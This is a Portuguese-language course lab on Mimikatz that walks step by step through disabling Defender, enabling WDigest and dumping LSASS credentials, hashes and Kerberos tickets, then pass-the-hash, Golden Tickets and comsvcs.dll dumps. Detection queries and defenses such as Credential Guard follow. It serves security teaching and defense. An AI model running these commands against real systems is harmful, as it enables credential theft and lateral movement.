Pular para o conteúdo principal

Lab 8.1: Mimikatz - Extração de Credenciais Live

Objetivos de Aprendizagem​

Ao final deste laboratório, você será capaz de:

  • Compreender como o Windows armazena credenciais na memória
  • Utilizar o Mimikatz para extrair senhas em texto claro da RAM
  • Extrair hashes NTLM para Pass-the-Hash
  • Entender o funcionamento do LSASS (Local Security Authority Subsystem Service)
  • Fazer dump de tickets Kerberos
  • Realizar ataques Pass-the-Hash e Pass-the-Ticket
  • Compreender por que o Credential Guard é essencial
  • Detectar o uso do Mimikatz em um sistema
  • Implementar proteções contra esses ataques

Duração Estimada​

45 minutos

Pré-requisitos​

  • VM Windows 10/11
  • Direitos de administrador
  • Compreensão da autenticação Windows
  • Lab 3.1 (extração de credenciais) concluído para contexto
  • Antivírus temporariamente desativado (apenas para o lab)

Contexto Profissional​

Mimikatz é a ferramenta mais famosa e temida em segurança Windows. Criada por Benjamin Delpy, ela demonstra que o Windows armazena credenciais na memória de forma recuperável.

Mimikatz é utilizado por:

  • Pentesters em testes de intrusão
  • Red Teams para simulações de ataque
  • Atacantes APT (Advanced Persistent Threats)
  • Ransomware para movimentação lateral
  • Forense para investigação

Impacto histórico:

  • Revelação das fraquezas no armazenamento de credenciais do Windows
  • Utilizado em quase todos os grandes ataques desde 2011
  • Ferramenta padrão em qualquer pentest Windows
  • Forçou a Microsoft a desenvolver o Credential Guard

Ataques famosos usando Mimikatz:

  • NotPetya (2017) - Ransomware devastador
  • BadRabbit (2017) - Ransomware visando Ucrânia
  • Carbanak (2015) - Roubo de 1 bilhão USD de bancos
  • Industroyer (2016) - Ataque à infraestrutura elétrica

MIMIKATZ É UMA FERRAMENTA EXTREMAMENTE PODEROSA

Mimikatz permite extrair TODAS as senhas na memória, incluindo:

  • Senhas em texto claro
  • Hashes NTLM
  • Tickets Kerberos
  • Certificados

PERMITIDO APENAS:

  • Em sua VM de teste pessoal
  • Em sistemas dos quais você é proprietário
  • No contexto de testes de penetração com contrato escrito e autorização explícita
  • Para investigação forense com mandado legal

ESTRITAMENTE PROIBIDO:

  • Em sistemas corporativos sem autorização formal
  • Em computadores que não lhe pertencem
  • Para roubo de credenciais de terceiros
  • Para acesso não autorizado a sistemas

CONSEQUÊNCIAS LEGAIS: Uso não autorizado do Mimikatz = Acesso ilegal a sistema informático + Roubo de dados de autenticação (Código Penal art. 342.1). Crime grave com prisão e multas pesadas.

DETECÇÃO:

  • Todos os antivírus detectam o Mimikatz imediatamente
  • EDR (Endpoint Detection and Response) alerta em tempo real
  • SIEM correlaciona eventos
  • O uso deixa rastros nos logs

PARA ESTE LAB:

  • VM Windows isolada (rede interna)
  • Sem acesso à Internet
  • Antivírus desativado SOMENTE durante o lab
  • Reative imediatamente após

Parte 1: Compreendendo o Armazenamento de Credenciais no Windows​

Etapa 1.1: LSASS (Local Security Authority Subsystem Service)​

LSASS.exe:

  • Processo crítico do Windows
  • Gerencia a autenticação do usuário
  • Armazena credenciais na memória para Single Sign-On (SSO)
  • Executa com privilégios SYSTEM

O que o LSASS armazena:

Quando você faz login no Windows:

1. Você digita: username + password
2. O Windows valida as credenciais
3. O LSASS armazena na memória:
- Senha em texto claro (se WDigest ativado)
- Hash NTLM da senha
- Tickets Kerberos (se domínio Active Directory)
- Tokens de autenticação

Por quê: Para permitir SSO (Single Sign-On)

  • Você digita a senha UMA vez no login
  • O Windows a utiliza automaticamente para acesso à rede, serviços, etc.
  • Prático MAS perigoso se comprometido!

Etapa 1.2: WDigest e Senhas em Texto Claro​

Protocolo de Autenticação WDigest:

  • Protocolo antigo para autenticação HTTP Digest
  • Armazenava as senhas EM TEXTO CLARO no LSASS!
  • Ativado por padrão no Windows 7, 8, Server 2008/2012
  • Desativado por padrão desde o Windows 8.1 / Server 2012 R2

Verificar se o WDigest está ativado:

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential"

Resultado:

  • 1 = Ativado (senhas em texto claro armazenadas!)
  • 0 ou ausente = Desativado (mais seguro)

Perguntas:

  1. O que é o LSASS e por que ele é crítico?
  2. O WDigest está ativado no seu sistema?

Etapa 1.3: Tipos de Credenciais Recuperáveis​

Com o Mimikatz, você pode obter:

1. Senhas em texto claro (se WDigest ativado):

Username: admin
Password: MySecretPassword123!

2. Hash NTLM:

NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c

Uso: Pass-the-Hash (login sem senha!)

3. Tickets Kerberos:

Golden Ticket, Silver Ticket, TGT

Uso: Impersonation, acesso a recursos

4. Certificados:

Certificados de autenticação
Chaves privadas

Parte 2: Instalação e Preparação​

Etapa 2.1: Download do Mimikatz​

Fonte oficial:

Baixe:

  • mimikatz_trunk.zip (versão completa)
  • Extraia em C:\Tools\mimikatz\

ATENÇÃO: O antivírus vai detectar e remover IMEDIATAMENTE!

Etapa 2.2: Desativando o Windows Defender​

PowerShell como administrador:

Set-MpPreference -DisableRealtimeMonitoring $true

Adicionar exceção (alternativa):

Add-MpPreference -ExclusionPath "C:\Tools\mimikatz"

Verificar:

Get-MpPreference | Select-Object DisableRealtimeMonitoring

Deve retornar: True

IMPORTANTE: Reative após o lab!

Set-MpPreference -DisableRealtimeMonitoring $false

Etapa 2.3: Ativar WDigest (Para Demo de Senhas em Texto Claro)​

Para ver as senhas em texto claro, ative o WDigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Depois:

  1. Faça logout
  2. Faça login novamente com sua senha
  3. A senha agora está em memória em texto claro!

Perguntas: 3. O Windows Defender foi desativado? 4. O WDigest está agora ativado?


Parte 3: Primeira Utilização do Mimikatz​

Etapa 3.1: Inicialização e Privilégios​

Abra o CMD como ADMINISTRADOR

cd C:\Tools\mimikatz\x64
mimikatz.exe

Interface do Mimikatz se abre:

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

Obter privilégios de debug (CRÍTICO):

mimikatz # privilege::debug

Resultado esperado:

Privilege '20' OK

Se "ERROR": Você não é administrador!

Elevar ao token SYSTEM:

mimikatz # token::elevate

Resultado:

Token Id  : 0
User name : NT AUTHORITY\SYSTEM

Agora você é SYSTEM!

Perguntas: 5. A obtenção do privilégio de debug foi bem-sucedida? 6. Qual é o seu nível de privilégio atual?


Parte 4: Extração de Senhas - O COMANDO MÁGICO​

Etapa 4.1: sekurlsa::logonpasswords​

O COMANDO MAIS PODEROSO DO MIMIKATZ:

mimikatz # sekurlsa::logonpasswords

AGUARDE ALGUNS SEGUNDOS...

RESULTADO (exemplo):

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DESKTOP-ABC123$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 11/8/2024 10:30:45 AM
SID : S-1-5-18
msv :
[00000003] Primary
* Username : DESKTOP-ABC123$
* Domain : WORKGROUP
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c

Authentication Id : 0 ; 123456 (00000000:0001e240)
Session : Interactive from 1
User Name : Admin
Domain : DESKTOP-ABC123
Logon Server : DESKTOP-ABC123
Logon Time : 11/8/2024 10:31:12 AM
SID : S-1-5-21-xxx-xxx-xxx-1001
msv :
[00000003] Primary
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
wdigest :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
kerberos :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!

INCRÍVEL! A senha aparece EM TEXTO CLARO:

Password : MySecretPassword123!

TODOS os usuários conectados:

  • Seu nome de usuário
  • Seu domínio
  • Sua senha EM TEXTO CLARO!
  • Seu hash NTLM
  • Seus tickets Kerberos

BOOM! É por isso que o Mimikatz é lendário!

Etapa 4.2: Análise dos Resultados​

Cada sessão de usuário exibe:

msv (Microsoft Authentication Package):

  • Hash NTLM
  • Pode ser usado para Pass-the-Hash

tspkg (Terminal Services Package):

  • Credenciais para Remote Desktop

wdigest:

  • SENHA EM TEXTO CLARO (se WDigest ativado!)
  • É aqui que vemos as senhas!

kerberos:

  • Tickets de autenticação
  • Senha em texto claro também (se disponível)

livessp:

  • Credenciais para Live ID

Etapa 4.3: Extração Direcionada​

Extrair apenas as senhas em texto claro:

mimikatz # sekurlsa::wdigest

Extrair apenas os hashes NTLM:

mimikatz # sekurlsa::msv

Extrair apenas tickets Kerberos:

mimikatz # sekurlsa::tickets

Perguntas: 7. Quantos usuários tinham sessões ativas? 8. Você conseguiu ver senhas em texto claro? 9. Se não, por quê? (Provavelmente WDigest desativado)


Parte 5: Ataque Pass-the-Hash​

Etapa 5.1: Entendendo o Pass-the-Hash​

Princípio:

Normalmente:

Usuário digita senha → Windows calcula hash NTLM → Usa hash para autenticação

Mas: O Windows aceita DIRETAMENTE o hash!

Portanto:

Atacante tem o hash (via Mimikatz)
↓
Usa o hash diretamente
↓
Login bem-sucedido SEM saber a senha!

É como: Usar a impressão digital de alguém sem a pessoa!

Etapa 5.2: Extração do Hash​

Dos resultados do Mimikatz, anote um hash NTLM:

* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c

Copie o hash: 8846f7eaee8fb117ad06bdd830b7586c

Etapa 5.3: Usando o Hash para Autenticação​

Com o Mimikatz, autentique-se com o hash:

mimikatz # sekurlsa::pth /user:Admin /domain:DESKTOP-ABC123 /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

Resultado: Uma nova janela CMD se abre!

Essa sessão CMD está autenticada como Admin SEM ter digitado a senha!

Nesta nova CMD, teste:

whoami

Resultado: DESKTOP-ABC123\Admin

Acesse um compartilhamento de rede (se houver):

dir \\192.168.100.20\C$

Acesso bem-sucedido usando APENAS o hash!

Perguntas: 10. O Pass-the-Hash funcionou? 11. Quais recursos de rede você pode acessar com o hash?


Parte 6: Dump Completo do LSASS​

Etapa 6.1: Método Alternativo - Gerenciador de Tarefas​

Se o Mimikatz não estiver disponível, você pode fazer dump do LSASS:

  1. Abra o Gerenciador de Tarefas (Ctrl+Shift+Esc)
  2. Aba "Detalhes"
  3. Encontre lsass.exe
  4. Clique com o direito → "Criar arquivo de despejo"
  5. Arquivo criado: lsass.DMP

Este arquivo contém TODAS as credenciais em memória!

Etapa 6.2: Analisar o Dump do LSASS com Mimikatz​

Transfira o lsass.DMP para uma máquina de análise (offline):

Na máquina de análise (sem antivírus):

mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonpasswords

BOOM! Extração das credenciais a partir do dump!

Vantagem:

  • Não precisa executar o Mimikatz na máquina alvo
  • Análise offline (sem detecção em tempo real)
  • Dump pode ser feito com ferramentas legítimas (ProcDump, Gerenciador de Tarefas)

Comando ProcDump (Sysinternals - legítimo!):

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Menos suspeito que o Mimikatz!

Etapa 6.3: Automação​

Script PowerShell para dump automático:

# Encontrar PID do LSASS
$lsassPID = (Get-Process lsass).Id

# Criar dump com comsvcs.dll (método nativo do Windows!)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Temp\lsass.dmp full

Write-Host "LSASS dumped to C:\Temp\lsass.dmp"

Método furtivo: Usa uma DLL legítima do Windows!

Perguntas: 12. O dump do LSASS via Gerenciador de Tarefas funcionou? 13. Você conseguiu extrair credenciais do dump offline?


Parte 7: Tickets Kerberos e Golden Ticket​

Etapa 7.1: Extrair Tickets Kerberos​

Listar todos os tickets:

mimikatz # sekurlsa::tickets

Resultado:

Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 11/8/2024 10:31:12 AM ; 11/8/2024 8:31:12 PM ; 11/15/2024 10:31:12 AM
Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
Target Name (--) : @ DOMAIN.LOCAL
Client Name (01) : Admin ; @ DOMAIN.LOCAL
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac

Os tickets contêm:

  • TGT (Ticket Granting Ticket)
  • Tickets de serviço
  • Permitem acesso sem nova autenticação

Etapa 7.2: Exportar Tickets​

Exportar todos os tickets em arquivos:

mimikatz # sekurlsa::tickets /export

Arquivos criados:

[0;3e4]-0-0-40e00000-DESKTOP$.kirbi
[0;1e240]-2-0-40e10000-Admin.kirbi
...

Esses arquivos .kirbi são os tickets!

Importe-os em outra máquina:

mimikatz # kerberos::ptt Admin.kirbi

Resultado: Acesso com a identidade de Admin em outra máquina!

Etapa 7.3: Golden Ticket (Domínio AD)​

NOTA: Requer ambiente Active Directory.

Se você tem o hash NTLM da conta KRBTGT:

mimikatz # kerberos::golden /user:Admin /domain:domain.local /sid:S-1-5-21-xxx-xxx-xxx /krbtgt:HASH /ptt

Resultado: Ticket de administrador PERMANENTE!

Golden Ticket permite:

  • Acesso a todos os recursos do domínio
  • Válido por 10 anos por padrão
  • Indetectável (exceto monitoramento Kerberos)
  • Sobrevive à troca de senha!

Perguntas: 14. Quantos tickets Kerberos você extraiu? 15. O que é um Golden Ticket e por que ele é tão perigoso?


Parte 8: Outras Funcionalidades do Mimikatz​

Etapa 8.1: Dump SAM Local​

Extrair hash de TODOS os usuários locais:

mimikatz # lsadump::sam

Resultado:

RID  : 000001f4 (500)
User : Administrator
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c

RID : 000003e9 (1001)
User : Admin
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

Todos os usuários locais do Windows!

Alternativa (mais furtivo):

mimikatz # lsadump::secrets

Extrai também:

  • Senha da conta da máquina
  • Senhas de contas de serviço
  • Chaves mestre DPAPI

Etapa 8.2: Certificados e Chaves Privadas​

Exportar certificados armazenados:

mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export

Arquivos criados: Certificados e chaves privadas!

Uso:

  • Autenticação por certificado
  • Assinatura de código
  • Criptografia de dados

Etapa 8.3: Vault e Credential Manager​

O Gerenciador de Credenciais do Windows armazena:

  • Credenciais para Remote Desktop
  • Credenciais de rede
  • Credenciais web
  • Credenciais genéricas

Extrair:

mimikatz # vault::list
mimikatz # vault::cred

Resultado:

Credential
Type : domain_password
Server : server.company.com
User : admin
Password : P@ssw0rd123

Credenciais armazenadas no Credential Manager reveladas!

Perguntas: 16. Quantas credenciais estão armazenadas no Credential Manager? 17. Existem senhas RDP salvas?


Parte 9: Detecção do Mimikatz​

Etapa 9.1: Assinaturas de Antivírus​

Todos os antivírus detectam o Mimikatz:

Teste:

Reative o Defender:

Set-MpPreference -DisableRealtimeMonitoring $false

Tente executar o Mimikatz:

mimikatz.exe

Resultado: Remoção imediata pelo Defender!

Logs do Windows Defender:

Get-MpThreatDetection | Where-Object {$_.ThreatName -like "*Mimikatz*"}

Etapa 9.2: Detecção Comportamental (EDR)​

Comportamentos suspeitos detectados por EDR:

  1. Acesso ao processo LSASS:

    • Event ID 4656: Handle para LSASS
    • Processo: Unknown.exe
    • Acesso: Read Memory
  2. Privilégio SeDebugPrivilege:

    • Event ID 4672: Privilégios especiais atribuídos
    • Necessário para dump do LSASS
  3. Leitura de memória do LSASS:

    • API: OpenProcess, ReadProcessMemory
    • Alvo: lsass.exe
    • Sinal vermelho imediato!

Consulta de logs Sysmon:

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} | 
Where-Object {$_.Message -like "*lsass.exe*"} |
Select-Object TimeCreated, Message | Format-List

Event ID 10: ProcessAccess (acesso a um processo)

Etapa 9.3: Detecção via Análise de Memória​

Strings na memória do Mimikatz:

strings64.exe mimikatz.exe | findstr /i "gentilkiwi sekurlsa"

Assinaturas únicas:

  • "gentilkiwi" (autor)
  • "sekurlsa"
  • "A La Vie, A L'Amour" (lema)

Scan de memória:

Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $proc.Modules | Where-Object {$_.FileName -like "*kiwi*"}
if ($modules) {
Write-Host "SUSPICIOUS: $($proc.ProcessName)" -ForegroundColor Red
}
} catch {}
}

Perguntas: 18. O Windows Defender detectou o Mimikatz? 19. Como um EDR detectaria o Mimikatz mesmo com o antivírus desativado?


Parte 10: Defesas contra o Mimikatz​

Etapa 10.1: Credential Guard​

Windows 10/11 Enterprise - Credential Guard:

Proteção de hardware contra dump de credenciais:

  • Utiliza Virtualization-Based Security (VBS)
  • O LSASS executa em contêiner isolado
  • O Mimikatz NÃO consegue acessar as credenciais

Verificar se está ativado:

Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning

Ativação (Windows Pro/Enterprise + TPM):

# Via registro
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# Reboot necessário
shutdown /r /t 0

Com o Credential Guard: O Mimikatz falha!

Etapa 10.2: Proteções Complementares​

1. Protected Users Group:

Adicionar usuários ao grupo "Protected Users":

Add-ADGroupMember -Identity "Protected Users" -Members Admin

Proteções:

  • Sem cache NTLM
  • Sem CredSSP
  • Sem Kerberos DES/RC4

2. Desativar WDigest (se ainda não feito):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

3. LSA Protection (RunAsPPL):

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f

O LSASS executa como Protected Process:

  • Mais difícil de fazer dump
  • Mimikatz básico falha
  • Requer driver para contornar

4. Antivírus e EDR:

  • Detecção de assinaturas
  • Detecção comportamental
  • Bloqueio de acesso ao LSASS

5. Logging e Monitoramento:

  • Sysmon com configuração apropriada
  • Event ID 4656, 4672, 10 (Sysmon)
  • Alertas sobre acesso ao LSASS

Etapa 10.3: Boas Práticas​

Administração:

  1. Usar contas separadas (admin vs usuário comum)
  2. Não usar conta admin para navegação web
  3. Desconectar sessões quando não utilizadas
  4. Não usar Domain Admin em estações de trabalho
  5. Jump boxes para administração

Técnico:

  1. Credential Guard em todas as máquinas
  2. Protected Users para contas privilegiadas
  3. LAPS (Local Administrator Password Solution)
  4. Rotação regular de senhas
  5. 2FA em todos os lugares possíveis

Monitoramento:

  1. Alertas sobre acesso ao LSASS
  2. Detecção de dump de processo
  3. Baseline de comportamentos normais
  4. Correlação de eventos (SIEM)

Perguntas: 20. O Credential Guard está ativado no seu sistema? 21. Quais outras medidas você recomendaria?


Entregáveis​

A entregar:

  1. Relatório de exploração (Word/PDF, 5-6 páginas):

    • Respostas às 21 perguntas
    • Metodologia de uso do Mimikatz
    • Capturas completas dos resultados
    • Análise das credenciais extraídas (ANONIMIZADAS!)
    • Explicação técnica do funcionamento
  2. Capturas de tela (mínimo 8):

    • Interface do Mimikatz
    • Comando privilege::debug bem-sucedido
    • Resultado do sekurlsa::logonpasswords (SENHAS OFUSCADAS SE REAIS!)
    • Hashes NTLM extraídos
    • Pass-the-Hash em ação
    • Dump do LSASS via Gerenciador de Tarefas
    • Tentativa com Defender ativado (bloqueado)
    • Configuração do Credential Guard
  3. Documentação técnica (3 páginas):

    • Explicação detalhada do LSASS
    • Processo de armazenamento de credenciais na memória
    • Por que o Mimikatz funciona
    • Evolução das proteções da Microsoft
  4. Plano de defesa (2 páginas):

    • Medidas de proteção em múltiplas camadas
    • Configuração do Credential Guard
    • Política de gestão de contas privilegiadas
    • Estratégia de monitoramento e detecção

Critérios de Avaliação​

CritérioPontos
Compreensão do funcionamento do Mimikatz e LSASS25%
Extração bem-sucedida de credenciais25%
Realização do Pass-the-Hash20%
Documentação técnica completa15%
Plano de defesa realista15%

Comandos de Referência Rápida​

Preparação​

# Desativar Defender (apenas para o lab!)
Set-MpPreference -DisableRealtimeMonitoring $true

# Ativar WDigest (para senhas em texto claro)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Essenciais do Mimikatz​

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::tickets

Pass-the-Hash​

mimikatz # sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:cmd.exe

Dump do LSASS​

# GUI do Gerenciador de Tarefas
# OU
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# OU
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID lsass.dmp full

Análise do Dump​

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Proteção​

# Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# LSA Protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f

# Desativar WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

Solução de Problemas​

Problema: "ERROR kuhl_m_sekurlsa_acquireLSA"​

Solução: O Mimikatz não tem os privilégios necessários.

  • Execute o CMD como administrador
  • Verifique se privilege::debug retorna "OK"
  • Tente token::elevate

Problema: Nenhuma senha em texto claro exibida​

Motivo: WDigest desativado (normal no Windows 10+)

Soluções:

  • Ative o WDigest (veja Etapa 2.3)
  • Faça logout e login novamente
  • Os hashes NTLM ainda estão disponíveis mesmo sem WDigest

Problema: "Access Denied" ao fazer dump do LSASS​

Solução:

  • Execute como administrador
  • O antivírus pode bloquear (desative temporariamente)
  • Alguns EDR bloqueiam mesmo para admin

Indo Além (Opcional)​

Desafio 1: Evasão do Mimikatz​

Técnicas para evitar detecção:

  • Ofuscação do binário
  • Carregamento em memória (invoke-mimikatz)
  • Modificação do código-fonte e recompilação
  • Uso de alternativas (pypykatz, lsassy)

Desafio 2: Análise Forense​

Em uma máquina comprometida:

  • Identificar rastros do Mimikatz
  • Analisar logs para reconstrução da timeline
  • Identificar credenciais comprometidas
  • Avaliar impacto e escopo da violação

Desafio 3: Alternativas ao Mimikatz​

Pesquise e teste:

  • pypykatz (implementação em Python)
  • lsassy (Dump do LSASS via SMB)
  • SharpKatz (implementação em C#)
  • SafetyKatz (execução in-memory)

Recursos Adicionais​


Conclusão​

Este lab ensinou você a:

  • Utilizar o Mimikatz, a ferramenta lendária de dump de credenciais
  • Extrair senhas em texto claro da memória RAM
  • Técnica de Pass-the-Hash para autenticação sem senha
  • Manipulação de tickets Kerberos
  • Múltiplos métodos de dump do LSASS
  • Detecção e defesas contra esses ataques

Lições críticas:

  1. O Windows armazena credenciais na memória de forma recuperável
  2. Acesso de administrador = Acesso a TODAS as credenciais em memória
  3. WDigest (se ativado) armazena senhas EM TEXTO CLARO
  4. Hash NTLM é suficiente para autenticação (Pass-the-Hash)
  5. Credential Guard é a única proteção real
  6. Detecção é fácil, mas prevenção é complexa

Impacto deste conhecimento:

  • Compreensão profunda da autenticação Windows
  • Importância da separação de privilégios
  • Necessidade de monitoramento e detecção
  • Credential Guard = Obrigatório em empresas
  • Nunca usar contas admin para tarefas do dia a dia

Mensagem final:

Você acabou de aprender a usar a ferramenta mais poderosa e temida em segurança Windows. O Mimikatz revolucionou o pentest e forçou a Microsoft a repensar sua arquitetura de segurança.

Com grande poder vem grande responsabilidade.

Use o Mimikatz apenas:

  • Em suas VMs de teste
  • No contexto de pentests autorizados
  • Para entender e DEFENDER contra esses ataques

NUNCA para:

  • Roubo de credenciais de terceiros
  • Acesso não autorizado
  • Comprometimento malicioso

Agora você entende por que:

  • Os antivírus detectam o Mimikatz instantaneamente
  • Os EDR alertam sobre acesso ao LSASS
  • Credential Guard é essencial
  • A segurança do Windows evoluiu desde o Windows 10

Próxima etapa: Lab 8.2 onde você aprenderá a contornar antivírus com ofuscação e AMSI bypass!


Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 8